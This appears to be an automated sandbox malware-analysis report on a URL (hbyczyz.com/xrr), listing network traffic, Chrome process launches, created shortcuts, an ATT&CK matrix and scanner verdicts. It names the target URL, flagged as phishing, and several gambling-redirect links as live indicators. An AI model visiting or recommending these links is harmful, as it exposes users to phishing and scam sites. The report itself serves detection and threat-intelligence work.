Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: classification engine

Classification label: mal56.win@19/292@108/25

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2472,i,9550109870902272398,11769029051233192804,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hbyczyz.com/xrr"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2472,i,9550109870902272398,11769029051233192804,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: chromecache_209.2.dr, chromecache_263.2.dr

Binary or memory string: qemu4L#

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://hbyczyz.com/xrr	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
https://www.strlaser.com/resources/assets/images/about1.jpg	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/tyc.html	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733336_kbF	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/bet365365.html	0%	Avira URL Cloud	safe
https://www.uapp360.com/2023/seo.js	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681709920_iYSN17Wo.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/seo.js	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K8782u19.jpg	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/style/animate.min.css?v=0.574	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/img/wnsr2021.gif	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/js/sichuang.shutime.js?v=0.574	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/news2.jpg	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/t400-400.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1	0%	Avira URL Cloud	safe
http://www.ishutime.com	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/news2023.jpg	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/style/swiper-bundle.min.css?v=0.574	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glxj11O4.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511204_BXx	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308595_zbRpYtB3.png	0%	Avira URL Cloud	safe
https://beian.miit.gov.cn/	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/js/xlPaging.js?v=0.574	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/about3.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715311213_h179c92l.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/p8.png	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/index.css	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733404_H4b8ovTI.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308754_jDv	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/style/sichuang.shutime.css?v=0.574	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/img4.png	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/p4.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/favicon.ico	0%	Avira URL Cloud	safe
https://ia.51.la/go1?id=20655415&rt=1727409039366&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409039366&tt=&kw=&cu=https%253A%252F%252Fwww.zhspay.com%252Fzhuye%252Findex.html&pu=http%253A%252F%252Fhbyczyz.com%252F	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/fuwu1.jpg	0%	Avira URL Cloud	safe
http://hbyczyz.com/seo.js	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t02	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/about1.jpg	0%	Avira URL Cloud	safe
https://sdk.51.la/js-sdk-pro.min.js	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t028G50I.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6Zg0KK.png	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/betway.html	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310520_AGtJf5BI.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715324241_REr34rRH.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/js/gsap.min.js?v=0.574	0%	Avira URL Cloud	safe
http://ia.51.la/go1?id=21261259&rt=1727409034063&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409034063&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=&cu=http%253A%252F%252Fhbyczyz.com%252Fxrr&pu=	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/index.html	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/img2.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/p6.png	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/news2.jpg	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/p8.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/fuwu1.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733336_kbFifD2i.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/p4.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511204_BXx9E5Nl.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K87	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859684_ZB9333Zh.jpg	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/about6.jpg	0%	Avira URL Cloud	safe
